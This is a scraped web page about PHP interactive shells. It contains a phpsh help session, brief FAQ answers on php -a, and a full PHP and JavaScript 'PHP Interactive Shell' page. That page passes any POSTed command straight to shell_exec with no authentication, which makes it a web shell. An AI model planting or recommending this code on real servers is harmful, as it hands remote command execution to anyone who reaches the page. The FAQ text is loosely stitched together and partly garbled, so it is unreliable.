What is php interactive shell?

What is php interactive shell?

ccheever@bamboo:~$ phpsh
Starting php
type 'h' or 'help' to see instructions & features
php> h
-- Help --
Type php commands and they will be evaluted each time you hit enter. Ex:
php> $msg = "hello world"

Put = at the beginning of a line as syntactic sugar for return. Ex:
php> = 2 + 2
4

phpsh will print any returned value (in yellow) and also assign the last
returned value to the variable $_.  Anything printed to stdout shows up blue,
and anything sent to stderr shows up red.

You can enter multiline input, such as a multiline if statement.  phpsh will
accept further lines until you complete a full statement, or it will error if
your partial statement has no syntactic completion.  You may also use ^C to
cancel a partial statement.

You can use tab to autocomplete function names, global variable names,
constants, classes, and interfaces.  If you are using ctags, then you can hit
tab again after you've entered the name of a function, and it will show you
the signature for that function.  phpsh also supports all the normal
readline features, like ctrl-e, ctrl-a, and history (up, down arrows).

Note that stdout and stderr from the underlying php process are line-buffered;
so  php> for ($i = 0; $i < 3; $i++) {echo "."; sleep(1);}
will print the three dots all at once after three seconds.
(echo ".
" would print one a second.)

See phpsh -h for invocation options.

-- phpsh quick command list --
    h     Display this help text.
    r     Reload (e.g. after a code change).  args to r append to add
            includes, like: php> r ../lib/username.php
            (use absolute paths or relative paths from where you start phpsh)
    R     Like 'r', but change includes instead of appending.
    d     Get documentation for a function or other identifier.
             ex: php> d my_function
    D     Like 'd', but gives more extensive documentation for builtins.
    v     Open vim read-only where a function or other identifer is defined.
             ex: php> v some_function
    V     Open vim (not read-only) and reload (r) upon return to phpsh.
    e     Open emacs where a function or other identifer is defined.
             ex: php> e some_function
    x [=]function([args]) Execute function() with args under debugger
    c     Append new includes without restarting; display includes.
    C     Change includes without restarting; display includes.
    !     Execute a shell command.
             ex: php> ! pwd
    q     Quit (ctrl-D also quits)

php> = 3 + 3
6
php> = $_
6
php> $x = $_

php> print $x
6
php> = func
func_get_arg     func_num_args    function_exists  
func_get_args    function         
php> = function_exists
function_exists
php> = function_exists('function_exists')
true
php> d array_merge

# array_merge

(PHP 4, PHP 5)

array_merge -- Merge one or more arrays

### Description

array array_merge ( array $array1 [, array $array2 [, array $... ]] )

Merges the elements of one or more arrays together so that the values of one are appended to the end of the previous one. It returns the resulting array. 

If the input arrays have the same string keys, then the later value for that key will overwrite the previous one. If, however, the arrays contain numeric keys, the later value will not overwrite the original value, but will be appended. 

If only one array is given and the array is numerically indexed, the keys get reindexed in a continuous way. 

### Parameters

array1     

Initial array to merge. 

array     

Variable list of arrays to recursively merge. 

### Return Values

Returns the resulting array. 

###

php> = 2 +
 ... 2
4
php> = array(array(1,2,3), array("a" => "b", "c" => "d"), "e", "g")
array(
  0 => array(
    0 => 1,
    1 => 2,
    2 => 3,
  ),
  1 => array(
    "a" => "b",
    "c" => "d",
  ),
  2 => "e",
  3 => "g",
)
php> q


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters

<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
if ($internal === true) {
return $e->getMessage();
} else {
return json_encode([
'status' => 'error',
'response' => $e->getMessage()
]);
}
}
if ($internal === true) {
return $shell_exec;
} else {
return json_encode([
'status' => 'ok',
'response' => escapetext($shell_exec)
]);
}
}
$postdata = json_decode(file_get_contents('php://input'));
if (!is_null($postdata) && isset($postdata->cmd)) {
die(exec_command($postdata->cmd));
}
try {
$hostvars = exec_command('whoami && hostname && pwd', true);
list($whoami, $hostname, $pwd) = explode("\n", $hostvars);
if (!$whoami) {
throw new Exception('Could not execute `whoami`');
}
if (!$hostname) {
throw new Exception('Could not execute `hostname`');
}
if (!$pwd) {
throw new Exception('Could not execute `pwd`');
}
} catch (Exception $e) {
$errormsg = $e->getMessage();
}
?>
<!doctype html>
<html>
<head>
<title>PHP Interactive Shell - <?php echo isset($errormsg) ? 'Inactive' : 'Active'; ?></title>
<style>
body {
background: #000;
color: #fff;
font-family: monospace;
}
#terminal {
position: fixed;
left: 0;
bottom: 2em;
padding: 1em;
width: calc(100% - 2em);
max-height: calc(100% - 4em);
margin: 0 auto;
overflow-y: auto;
overflow-x: hidden;
white-space: pre-wrap;
word-break: break-all;
}
#bottombar {
position: fixed;
left: 0;
bottom: 0;
width: 100%;
}
#ps1 {
padding-left: 1em;
line-height: 2em;
height: 2em;
float: left;
max-width: 40%;
padding-right: .5em;
}
#cursor {
height: calc(2em - 1px);
padding: 0;
border: 0;
float: left;
min-width: 60%;
max-width: 80%;
background: #000;
color: #fff;
font-family: monospace;
outline: none;
}
</style>
</head>
<body>
<?php if (isset($errormsg)) {
echo '<span>'.$errormsg.'</span>';
} ?>
<pre id="terminal"></pre>
<div id="bottombar">
<span id="ps1"></span>
<input id="cursor" autofocus>
</div>
<script>
class Terminal {
constructor() {
this.whoami = '<?php echo $whoami; ?>';
this.hostname = '<?php echo $hostname; ?>';
this.pwd = '<?php echo $pwd; ?>';
this.PATH_SEP = '/';
this.commandHistory = [];
this.commandHistoryIndex = this.commandHistory.length;
this.termWindow = document.getElementById('terminal');
this.cursor = document.getElementById('cursor');
this.ps1element = document.getElementById('ps1');
this.ps1element.innerHTML = this.ps1();
this.attachCursor();
// this.execCommand('ifconfig');
}
formatPath(path) {
path = path.replace(/\//g, this.PATH_SEP);
let curPathArr = !path.match(/^(([A-Z]\:)|(\/))/) ? this.pwd.split(this.PATH_SEP) : [];
let pathArr = curPathArr.concat(path.split(this.PATH_SEP).filter(el => el));
let absPath = [];
pathArr.forEach(el => {
if (el === '.') {
// Do nothing
} else if (el === '..') {
absPath.pop();
} else {
absPath.push(el);
}
});
return this.PATH_SEP + (absPath.length === 1 ? absPath[0] + this.PATH_SEP : absPath.join(this.PATH_SEP));
}
getCurrentPath() {
return this.formatPath(this.pwd);
}
updateCurrentPath(newPath) {
this.pwd = this.formatPath(newPath);
}
attachCursor() {
this.cursor.addEventListener('keyup', ({keyCode}) => {
switch (keyCode) {
case 13:
this.execCommand(this.cursor.value);
this.cursor.value = '';
this.ps1element.innerHTML = this.ps1();
this.commandHistoryIndex = this.commandHistory.length;
break;
case 38:
if (this.commandHistoryIndex !== 0) {
this.cursor.value = this.commandHistory[--this.commandHistoryIndex] || '';
}
break;
case 40:
if (this.commandHistoryIndex < this.commandHistory.length) {
this.cursor.value = this.commandHistory[++this.commandHistoryIndex] || '';
}
break;
}
});
}
ps1() {
return `<span style="color:orange">${this.whoami}@${this.hostname}</span>:` +
`<span style="color:limegreen">${this.getCurrentPath()}</span>$ `;
}
execCommand(cmd) {
this.commandHistory.push(cmd);
fetch(document.location.href, {
method: 'POST',
headers: new Headers({
'Content-Type': 'application/json',
'Accept': 'application/json'
}),
body: JSON.stringify({
cmd
})
}).then(
res => res.json(),
err => console.error(err)
).then(({response}) => {
this.termWindow.innerHTML += `${this.ps1()}${cmd}<br>${response}`;
this.termWindow.scrollTop = this.termWindow.scrollHeight;
})
}
}
window.addEventListener('load', () => {
const terminal = new Terminal();
});
</script>
</body>
</html>

What is a PHP shell?

PHP Shell or Shell PHP is a program or script written in PHP (Php Hypertext Preprocessor) which provides Linux Terminal (Shell is a much broader concept) in Browser. PHP Shell lets you to execute most of the shell commands in browser, but not all due to its limitations.

How do I run PHP interactive shell?

The CLI SAPI provides an interactive shell using the -a option if PHP is compiled with the --with-readline option. As of PHP 7.1. 0 the interactive shell is also available on Windows, if the readline extension is enabled. Using the interactive shell you are able to type PHP code and have it executed directly.

Does PHP have a REPL?

PHP has a REPL; if you haven't used it yet, run php –a in a terminal. This will take you to the interactive PHP prompt at which you can enter your code. All programming language REPLs work essentially the same way.

What are the PHP commands?

Basic PHP Commands.
PHP Variables. Types of Variable: Variable always played an important role in any kind of programming language. ... .
PHP Operators. Operator for assignments: PHP normally uses one common operator for assignment which is equal to ('='). ... .
PHP If Else. ... .
PHP Switch. ... .
PHP Loop..